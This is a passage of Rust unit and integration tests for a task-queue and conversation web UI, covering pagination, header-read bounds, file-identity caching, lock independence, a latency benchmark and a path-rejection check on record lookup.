25402                    .map(|i| format!("20261019-000000-{i:03}")),
25403            )
25404            .collect();
25405        assert_eq!(
25406            seen, expected,
25407            "the cursor walk must return every surviving ID"
25408        );
25409        let refreshed = talks_page(
25410            State(ui.clone()),
25411            Query(PageQuery::default()),
25412            header::HeaderMap::new(),
25413        )
25414        .await
25415        .unwrap()
25416        .0;
25417        assert_eq!(
25418            refreshed
25419                .rows
25420                .iter()
25421                .filter(|row| row.status.open())
25422                .count(),
25423            23
25424        );
25425        assert!(
25426            refreshed
25427                .rows
25428                .iter()
25429                .any(|row| row.id == "20261019-000000-000")
25430        );
25431        assert!(
25432            !refreshed
25433                .rows
25434                .iter()
25435                .any(|row| row.id == "20260101-000000-000")
25436        );
25437    }
25438
25439    #[test]
25440    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25441        let home = tempfile::tempdir().unwrap();
25442        let ui = delta_test_ui(home.path());
25443        for i in 0..STORE_PAGE_SIZE + 5 {
25444            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25445        }
25446        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25447        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25448        assert!(next.is_none());
25449    }
25450
25451    #[test]
25452    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25453        struct Counted<R> {
25454            inner: R,
25455            bytes: usize,
25456        }
25457        impl<R: std::io::Read> std::io::Read for Counted<R> {
25458            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25459                let n = self.inner.read(buf)?;
25460                self.bytes += n;
25461                Ok(n)
25462            }
25463        }
25464        let home = tempfile::tempdir().unwrap();
25465        let ui = delta_test_ui(home.path());
25466        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25467        let mut chat = ui.talks.get(&id).unwrap();
25468        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25469            chat.turns = vec![
25470                serde_json::from_value(serde_json::json!({
25471                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25472                }))
25473                .unwrap(),
25474            ];
25475            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25476                chat.status = status;
25477                // Exercise the actual on-disk serializer, including its field order.
25478                let body = serde_json::to_vec_pretty(&chat).unwrap();
25479                let mut reader = Counted {
25480                    inner: body.as_slice(),
25481                    bytes: 0,
25482                };
25483                assert_eq!(read_talk_status(&mut reader), Some(status));
25484                assert!(
25485                    reader.bytes <= 1024,
25486                    "header classification read {} bytes",
25487                    reader.bytes
25488                );
25489            }
25490        }
25491        // Noncanonical field order must neither traverse a transcript nor hide
25492        // an open row. Its real status is validated by the ordinary row reader.
25493        let noncanonical = format!(
25494            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25495            "x".repeat(1024 * 1024)
25496        );
25497        let mut reader = Counted {
25498            inner: noncanonical.as_bytes(),
25499            bytes: 0,
25500        };
25501        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25502        assert!(reader.bytes <= 1024);
25503        let oversized = format!(
25504            r#"{{"agent":"{}","status":"open"}}"#,
25505            "x".repeat(128 * 1024)
25506        );
25507        let mut reader = Counted {
25508            inner: oversized.as_bytes(),
25509            bytes: 0,
25510        };
25511        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25512        assert!(reader.bytes <= 64 * 1024);
25513    }
25514
25515    #[test]
25516    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25517        let home = tempfile::tempdir().unwrap();
25518        let ui = delta_test_ui(home.path());
25519        seed_talk_at(&ui.talks, "header-chat", "open");
25520        std::fs::create_dir_all(ui.queue.root()).unwrap();
25521        let (started, ready) = std::sync::mpsc::channel();
25522        let (release, wait) = std::sync::mpsc::channel();
25523        let chat_ui = ui.clone();
25524        let scan = std::thread::spawn(move || {
25525            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25526                started.send(()).unwrap();
25527                wait.recv().unwrap();
25528                open_talk_ids(ui, ids)
25529            })
25530            .unwrap()
25531        });
25532        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25533        let (finished, result) = std::sync::mpsc::channel();
25534        let queue = std::thread::spawn(move || {
25535            finished
25536                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25537                .unwrap();
25538        });
25539        let completed = result.recv_timeout(Duration::from_secs(2));
25540        // Release and join both workers even if the regression returns.
25541        release.send(()).unwrap();
25542        scan.join().unwrap();
25543        queue.join().unwrap();
25544        assert!(
25545            completed.unwrap(),
25546            "queue paging must not wait for chat header I/O"
25547        );
25548    }
25549
25550    #[test]
25551    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25552        let home = tempfile::tempdir().unwrap();
25553        let ui = delta_test_ui(home.path());
25554        let ids = vec!["changing-chat".to_owned()];
25555        seed_talk_at(&ui.talks, &ids[0], "closed");
25556        assert!(open_talk_ids(&ui, &ids).is_empty());
25557        seed_talk_at(&ui.talks, &ids[0], "open");
25558        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25559            let value: serde_json::Value =
25560                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25561            // Replace the file after parsing, before its identity is checked again.
25562            seed_talk_at(&ui.talks, &ids[0], "closed");
25563            serde_json::from_value(value["status"].clone()).ok()
25564        });
25565        assert!(open.contains(&ids[0]));
25566        assert!(
25567            ui.monitor
25568                .talk_status_index
25569                .lock()
25570                .unwrap()
25571                .records
25572                .is_empty()
25573        );
25574        assert!(open_talk_ids(&ui, &ids).is_empty());
25575        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25576    }
25577
25578    #[test]
25579    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
25580        let home = tempfile::tempdir().unwrap();
25581        let ui = delta_test_ui(home.path());
25582        let ids = vec!["same-stamp-chat".to_owned()];
25583        seed_talk_at(&ui.talks, &ids[0], "open");
25584        // Model a non-Unix metadata collision deterministically: the old
25585        // classification has a fingerprint equal to the current file's.
25586        ui.monitor.talk_status_index.lock().unwrap().records.insert(
25587            ids[0].clone(),
25588            (
25589                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
25590                Some(talk::TalkStatus::Closed),
25591            ),
25592        );
25593        let open = open_talk_ids_with(&ui, &ids, false, |path| {
25594            std::fs::File::open(path).ok().and_then(read_talk_status)
25595        });
25596        assert!(
25597            open.contains(&ids[0]),
25598            "an untrusted cache hit must still read the current header"
25599        );
25600        assert!(
25601            ui.monitor
25602                .talk_status_index
25603                .lock()
25604                .unwrap()
25605                .records
25606                .is_empty()
25607        );
25608        seed_talk_at(&ui.talks, &ids[0], "closed");
25609        assert!(
25610            open_talk_ids_with(&ui, &ids, false, |path| {
25611                std::fs::File::open(path).ok().and_then(read_talk_status)
25612            })
25613            .is_empty()
25614        );
25615        let index = ui.monitor.talk_status_index.lock().unwrap();
25616        assert_eq!(index.parses, 2);
25617        assert!(
25618            index.records.is_empty(),
25619            "untrusted fingerprints must never publish cache entries"
25620        );
25621    }
25622
25623    #[test]
25624    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25625        let home = tempfile::tempdir().unwrap();
25626        let ui = delta_test_ui(home.path());
25627        let headers = header::HeaderMap::new();
25628        seed_talk_at(&ui.talks, "open-chat", "open");
25629        seed_talk_at(&ui.talks, "closed-chat", "closed");
25630        talk_rows(
25631            &ui,
25632            vec!["open-chat".into(), "closed-chat".into()],
25633            &headers,
25634        );
25635        {
25636            let mut index = ui.monitor.talk_index.lock().unwrap();
25637            let closed = index["closed-chat"].1.clone();
25638            for i in 0..1000 {
25639                index.insert(
25640                    format!("cached-closed-{i}"),
25641                    (
25642                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25643                        closed.clone(),
25644                    ),
25645                );
25646            }
25647        }
25648        assert_eq!(
25649            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25650            1
25651        );
25652        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25653        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25654        assert_eq!(
25655            ui.monitor
25656                .talk_parses
25657                .load(std::sync::atomic::Ordering::Relaxed),
25658            2
25659        );
25660        {
25661            let mut index = ui.monitor.talk_index.lock().unwrap();
25662            let open = index["open-chat"].1.clone();
25663            for i in 0..1000 {
25664                index.insert(
25665                    format!("cached-open-{i}"),
25666                    (
25667                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25668                        open.clone(),
25669                    ),
25670                );
25671            }
25672        }
25673        // Even when open rows exceed the bound, keep the currently requested rows.
25674        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25675        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25676        assert_eq!(
25677            ui.monitor
25678                .talk_parses
25679                .load(std::sync::atomic::Ordering::Relaxed),
25680            2
25681        );
25682    }
25683
25684    #[test]
25685    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25686        let home = tempfile::tempdir().unwrap();
25687        let ui = delta_test_ui(home.path());
25688        std::fs::create_dir_all(ui.talks.root()).unwrap();
25689        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25690        for id in &ids {
25691            std::fs::write(
25692                ui.talks.path_of(id),
25693                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25694            )
25695            .unwrap();
25696        }
25697        assert!(open_talk_ids(&ui, &ids).is_empty());
25698        assert_eq!(
25699            ui.monitor.talk_status_index.lock().unwrap().parses,
25700            ids.len()
25701        );
25702        assert!(open_talk_ids(&ui, &ids).is_empty());
25703        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
25704        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
25705        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25706        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25707        assert_eq!(
25708            open_talk_ids(&ui, &ids),
25709            std::collections::HashSet::from([ids[0].clone()])
25710        );
25711        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25712        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
25713        assert_eq!(parsed, reused + refreshed);
25714        open_talk_ids(&ui, &ids);
25715        assert_eq!(
25716            ui.monitor.talk_status_index.lock().unwrap().parses,
25717            parsed + if cfg!(unix) { 0 } else { ids.len() },
25718            "only reliable file identity permits caching, including unreadable rows"
25719        );
25720        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25721        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25722        assert!(
25723            !ui.monitor
25724                .talk_status_index
25725                .lock()
25726                .unwrap()
25727                .records
25728                .contains_key(&ids[0])
25729        );
25730        assert!(
25731            ui.monitor.talk_index.lock().unwrap().is_empty(),
25732            "classification never caches bodies"
25733        );
25734    }
25735
25736    #[tokio::test]
25737    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25738        let home = tempfile::tempdir().unwrap();
25739        let ui = delta_test_ui(home.path());
25740        let mut task = Task::new(
25741            "task".into(),
25742            "body".into(),
25743            PathBuf::from("/repo"),
25744            Source::Human,
25745        );
25746        ui.queue.put(&mut task).unwrap();
25747        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25748        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25749        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25750        let expected = parsed + usize::from(!cfg!(unix));
25751        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25752        task.status = crate::queue::TaskStatus::Held;
25753        ui.queue.put(&mut task).unwrap();
25754        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25755        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25756        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25757        ui.queue.put(&mut task).unwrap();
25758        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25759        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25760        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25761    }
25762
25763    #[tokio::test]
25764    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25765        let home = tempfile::tempdir().unwrap();
25766        let ui = delta_test_ui(home.path());
25767        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25768        let before = health(State(ui.clone())).await.unwrap().0;
25769        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25770        let after = health(State(ui)).await.unwrap().0;
25771        assert_ne!(before.notifications_rev, after.notifications_rev);
25772        assert_eq!(after.notifications_unread, 1);
25773    }
25774
25775    #[tokio::test]
25776    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25777        let home = tempfile::tempdir().unwrap();
25778        let ui = delta_test_ui(home.path());
25779        let queue = &ui.queue;
25780        let talks = &ui.talks;
25781        for i in 0..1000 {
25782            let id = format!("20261019-{i:06}-page");
25783            let mut task = Task::new(
25784                "task".into(),
25785                "instruction".repeat(100),
25786                PathBuf::from("/repo/magi"),
25787                Source::Human,
25788            );
25789            task.id = id.clone();
25790            if i == 0 {
25791                task.status = crate::queue::TaskStatus::Held;
25792            } else if i == 999 {
25793                task.status = crate::queue::TaskStatus::Blocked;
25794                task.blocked_by = vec!["20261019-000000-page".into()];
25795            }
25796            queue.put(&mut task).unwrap();
25797            seed_talk_at(talks, &id, "closed");
25798        }
25799        let page = serde_json::to_value(
25800            queue_page(State(ui.clone()), Query(PageQuery::default()))
25801                .await
25802                .unwrap()
25803                .0,
25804        )
25805        .unwrap();
25806        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25807        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25808        assert!(
25809            !page["rows"][0]["stuck_roots"]
25810                .as_array()
25811                .unwrap()
25812                .is_empty()
25813        );
25814        let cursor = page["next"].as_str().unwrap();
25815        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25816            .as_str()
25817            .unwrap();
25818        // Deleting an already enumerated file cannot shift or repeat a page.
25819        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25820        let next = serde_json::to_value(
25821            queue_page(
25822                State(ui.clone()),
25823                Query(PageQuery {
25824                    before: Some(cursor.into()),
25825                }),
25826            )
25827            .await
25828            .unwrap()
25829            .0,
25830        )
25831        .unwrap();
25832        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25833        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25834        let chats = serde_json::to_value(
25835            talks_page(
25836                State(ui.clone()),
25837                Query(PageQuery::default()),
25838                header::HeaderMap::new(),
25839            )
25840            .await
25841            .unwrap()
25842            .0,
25843        )
25844        .unwrap();
25845        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25846        assert!(chats["rows"][0].get("pending").is_none());
25847        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25848        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25849        assert_eq!(counts["held"], 1);
25850        assert_eq!(counts["blocked"], 1);
25851        assert_eq!(counts["queued"], 997);
25852    }
25853
25854    #[test]
25855    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25856        let dir = tempfile::tempdir().unwrap();
25857        let ui = delta_test_ui(dir.path());
25858        let mut task = Task::new(
25859            "task".into(),
25860            "body".into(),
25861            PathBuf::from("/repo"),
25862            Source::Human,
25863        );
25864        task.runs = vec!["run-a".into()];
25865        ui.queue.put(&mut task).unwrap();
25866        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25867        task.runs = vec!["run-b".into()];
25868        let path = ui.queue.path_of(&task.id);
25869        let modified = path.metadata().unwrap().modified().unwrap();
25870        let replacement = path.with_extension("replacement");
25871        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25872        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25873        std::fs::write(&replacement, &bytes).unwrap();
25874        std::fs::File::options()
25875            .write(true)
25876            .open(&replacement)
25877            .unwrap()
25878            .set_times(std::fs::FileTimes::new().set_modified(modified))
25879            .unwrap();
25880        std::fs::rename(&replacement, &path).unwrap();
25881        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25882        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25883        std::fs::write(&path, "broken").unwrap();
25884        assert!(ui.find_task_for_run("run-b").is_err());
25885        std::fs::write(&path, bytes).unwrap();
25886        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25887        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25888        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25889    }
25890
25891    #[tokio::test]
25892    async fn conversation_core_is_independent_of_unreadable_related_history() {
25893        let home = tempfile::tempdir().unwrap();
25894        let ui = delta_test_ui(home.path());
25895        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25896        std::fs::create_dir_all(ui.queue.root()).unwrap();
25897        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25898        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25899            .await
25900            .unwrap();
25901        assert_eq!(core.talk.id, id);
25902        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25903    }
25904
25905    #[test]
25906    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25907        let home = tempfile::tempdir().unwrap();
25908        let ui = delta_test_ui(home.path());
25909        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25910        let directory = home.path().join("workers/jobs/abcdef");
25911        std::fs::create_dir_all(&directory).unwrap();
25912        let job = crate::worker::Job {
25913            id: "abcdef".into(),
25914            sequence: 1,
25915            kind: "chat".into(),
25916            key: id.clone(),
25917            payload: serde_json::json!({ "talk": id }),
25918            generation: "test".into(),
25919            version: None,
25920            status: crate::worker::Status::Running,
25921            result: None,
25922            pid: None,
25923            created_at: 0,
25924            finished_at: None,
25925        };
25926        std::fs::write(
25927            directory.join("job.json"),
25928            serde_json::to_vec(&job).unwrap(),
25929        )
25930        .unwrap();
25931        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25932        let store =
25933            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25934        let runtime = tokio::runtime::Builder::new_current_thread()
25935            .enable_all()
25936            .max_blocking_threads(1)
25937            .build()
25938            .unwrap();
25939        runtime.block_on(async {
25940            let (release, held) = std::sync::mpsc::channel();
25941            let (started, ready) = tokio::sync::oneshot::channel();
25942            let occupied = tokio::task::spawn_blocking(move || {
25943                started.send(()).unwrap();
25944                held.recv().unwrap();
25945            });
25946            ready.await.unwrap();
25947            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25948            let bulk = ui
25949                .monitor
25950                .bulk_slots
25951                .clone()
25952                .acquire_many_owned(2)
25953                .await
25954                .unwrap();
25955            let result = tokio::time::timeout(
25956                Duration::from_secs(2),
25957                talk_core(State(ui.clone()), Path(id.clone())),
25958            )
25959            .await;
25960            // Release all blockers before assertions, including on a regression.
25961            drop(store);
25962            drop(bulk);
25963            release.send(()).unwrap();
25964            occupied.await.unwrap();
25965            let _ = secondary.await.unwrap().unwrap();
25966            let Json(core) = result
25967                .expect("transcript must bypass secondary work and the worker store lock")
25968                .unwrap();
25969            assert!(
25970                core.thinking,
25971                "read-only observation retains live worker state"
25972            );
25973            assert_eq!(core.talk.id, id);
25974            let admission_ui = ui.clone();
25975            let (release, held) = std::sync::mpsc::channel();
25976            let (started, ready) = tokio::sync::oneshot::channel();
25977            let admission = std::thread::spawn(move || {
25978                let _lock = admission_ui.talk_turns.lock().unwrap();
25979                started.send(()).unwrap();
25980                held.recv().unwrap();
25981            });
25982            ready.await.unwrap();
25983            let result = tokio::time::timeout(
25984                Duration::from_secs(2),
25985                talk_core(State(ui.clone()), Path(id.clone())),
25986            )
25987            .await;
25988            release.send(()).unwrap();
25989            admission.join().unwrap();
25990            assert!(
25991                result
25992                    .expect("display must not wait behind local admission")
25993                    .unwrap()
25994                    .0
25995                    .thinking
25996            );
25997            assert!(ui.is_thinking(&id));
25998            assert!(ui.is_thinking_observed(&id));
25999            drop(live);
26000            assert!(
26001                !ui.is_thinking_observed(&id),
26002                "a finished lease no longer appears live"
26003            );
26004            assert!(!ui.is_thinking(&id));
26005            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26006            assert!(
26007                ui.is_thinking_observed(&id),
26008                "local admission remains visible"
26009            );
26010        });
26011    }
26012
26013    #[tokio::test]
26014    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26015        let home = tempfile::tempdir().unwrap();
26016        let ui = delta_test_ui(home.path());
26017        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26018        let mut task = Task::new(
26019            "Referenced task".into(),
26020            "Unrelated instruction history".repeat(1024),
26021            home.path().into(),
26022            Source::Human,
26023        );
26024        task.id = "20261019-000000-abcd".into();
26025        ui.queue.put(&mut task).unwrap();
26026        let mut conversation = ui.talks.get(&id).unwrap();
26027        conversation.turns.push(talk::Turn {
26028            sender: Some(talk::Sender::Persona),
26029            who: talk::Who::Agent,
26030            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26031            at: conversation.created_at,
26032            attachments: Vec::new(),
26033            usage: None,
26034            breaks: None,
26035            messages: Vec::new(),
26036            posted_by: None,
26037        });
26038        ui.talks.put(&mut conversation).unwrap();
26039
26040        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26041        let markdown = serde_json::to_value(&core.turn_bodies_md)
26042            .unwrap()
26043            .to_string();
26044        assert!(markdown.contains("\"strong\""));
26045        assert!(markdown.contains("\"table\""));
26046        assert!(markdown.contains("\"bullet_list\""));
26047        assert!(markdown.contains("\"code_block\""));
26048        assert!(!markdown.contains("\"internal_link\""));
26049        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26050        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26051        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26052
26053        // Deferred decoration still resolves the same validated task, without
26054        // touching opaque code blocks or changing the original transcript.
26055        let references = ui.references.for_talk(home.path(), &conversation);
26056        let mut decorated = core.turn_bodies_md[0].clone();
26057        references.markdown(&mut decorated);
26058        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26059        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26060        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26061        assert_eq!(
26062            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26063            conversation.turns[0].body
26064        );
26065    }
26066
26067    #[tokio::test]
26068    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26069        let home = tempfile::tempdir().unwrap();
26070        let ui = delta_test_ui(home.path());
26071        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26072        let mut run = RunState::new(
26073            PathBuf::from("/repo"),
26074            "main".into(),
26075            "01234567".into(),
26076            "Useful run".into(),
26077            Config::default(),
26078        );
26079        run.save_under(home.path()).unwrap();
26080        let mut task = Task::new(
26081            "Related".into(),
26082            "body".into(),
26083            PathBuf::from("/repo"),
26084            Source::Agent {
26085                run: talk_id.clone(),
26086                node: "chat".into(),
26087            },
26088        );
26089        task.runs = vec![run.id.clone()];
26090        ui.queue.put(&mut task).unwrap();
26091        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26092        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26093        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26094        assert!(
26095            run_detail(State(ui.clone()), Path(run.id.clone()))
26096                .await
26097                .is_ok()
26098        );
26099        assert!(
26100            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26101                .await
26102                .is_ok()
26103        );
26104        // Previously indexed corruption must not masquerade as no relationship.
26105        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26106        assert!(ui.find_task_for_run(&run.id).is_err());
26107        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26108        ui.queue.put(&mut task).unwrap();
26109        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26110    }
26111
26112    #[tokio::test]
26113    async fn conversation_sections_omit_large_task_instructions() {
26114        let home = tempfile::tempdir().unwrap();
26115        let ui = delta_test_ui(home.path());
26116        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26117        let mut task = Task::new(
26118            "filed task".into(),
26119            "large instruction ".repeat(65536),
26120            PathBuf::from("/repo"),
26121            Source::Agent {
26122                run: id.clone(),
26123                node: "chat".into(),
26124            },
26125        );
26126        ui.queue.put(&mut task).unwrap();
26127        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26128        assert_eq!(sections["tasks"][0]["id"], task.id);
26129        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26130        assert!(sections["tasks"][0].get("instruction").is_none());
26131        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26132    }
26133
26134    #[test]
26135    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26136        let home = tempfile::tempdir().unwrap();
26137        let talks = Talks::at(home.path().join("talks"));
26138        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26139        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26140        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26141        assert!(resolve_talk(&talks, "../outside").is_err());
26142        assert!(resolve_talk(&talks, "abcd").is_err());
26143        assert_eq!(
26144            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26145            "20261019-000001-abcd"
26146        );
26147    }
26148
26149    include!(concat!(
26150        env!("CARGO_MANIFEST_DIR"),
26151        "/tests/web_latency/baseline.rs"
26152    ));
26153
26154    include!(concat!(
26155        env!("CARGO_MANIFEST_DIR"),
26156        "/tests/web_latency/lists.rs"
26157    ));
26158
26159    #[tokio::test]
26160    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26161    async fn web_history_latency_measurement() {
26162        use std::time::Instant;
26163        let home = tempfile::tempdir().unwrap();
26164        let ui = delta_test_ui(home.path());
26165        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26166        let mut template = ui.talks.get(&id).unwrap();
26167        template.turns = serde_json::from_value(serde_json::json!([{
26168            "who": "operator", "body": "Show the accumulated work and its current status.",
26169            "at": Timestamp::now().to_string(),
26170        }]))
26171        .unwrap();
26172        std::fs::write(
26173            ui.talks.path_of(&id),
26174            serde_json::to_vec(&template).unwrap(),
26175        )
26176        .unwrap();
26177        let count = std::env::var("MAGI_BENCH_RECORDS")
26178            .ok()
26179            .and_then(|s| s.parse::<usize>().ok())
26180            .unwrap_or(1000);
26181        for i in 0..count {
26182            template.id = format!("20261019-{i:06}-history");
26183            template.pending = "history ".repeat(2048);
26184            std::fs::write(
26185                ui.talks.path_of(&template.id),
26186                serde_json::to_vec(&template).unwrap(),
26187            )
26188            .unwrap();
26189            let mut task = Task::new(
26190                "old task".into(),
26191                "instruction ".repeat(2048),
26192                PathBuf::from("/repo"),
26193                Source::Human,
26194            );
26195            task.id = format!("20261019-{i:06}-task");
26196            ui.queue.put(&mut task).unwrap();
26197        }
26198        for baseline in [true, false] {
26199            for clients in [1, 4] {
26200                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26201                let mut samples = Vec::new();
26202                for _ in 0..12 {
26203                    let mut jobs = Vec::new();
26204                    for _ in 0..clients {
26205                        let ui = ui.clone();
26206                        let id = id.clone();
26207                        jobs.push(tokio::spawn(async move {
26208                            let start = Instant::now();
26209                            if baseline {
26210                                let response =
26211                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26212                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26213                                return (
26214                                    elapsed,
26215                                    elapsed,
26216                                    serde_json::to_vec(&response).unwrap().len(),
26217                                );
26218                            }
26219                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26220                            let secondary = talk_sections(State(ui), Path(id));
26221                            let (first, total) = tokio::join!(
26222                                async {
26223                                    let value = core.await.unwrap().0;
26224                                    (
26225                                        start.elapsed().as_secs_f64() * 1000.0,
26226                                        serde_json::to_vec(&value).unwrap().len(),
26227                                    )
26228                                },
26229                                async {
26230                                    let value = secondary.await.unwrap().0;
26231                                    (
26232                                        start.elapsed().as_secs_f64() * 1000.0,
26233                                        serde_json::to_vec(&value).unwrap().len(),
26234                                    )
26235                                }
26236                            );
26237                            (first.0, first.0.max(total.0), first.1 + total.1)
26238                        }));
26239                    }
26240                    for job in jobs {
26241                        samples.push(job.await.unwrap());
26242                    }
26243                }
26244                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26245                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26246                first.sort_by(f64::total_cmp);
26247                total.sort_by(f64::total_cmp);
26248                let n = first.len();
26249                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26250                println!(
26251                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26252                    first[n / 2],
26253                    first[(n * 95 / 100).min(n - 1)],
26254                    total[n / 2],
26255                    total[(n * 95 / 100).min(n - 1)],
26256                    samples[0].2
26257                );
26258            }
26259        }
26260    }
26261
26262    #[test]
26263    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26264        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
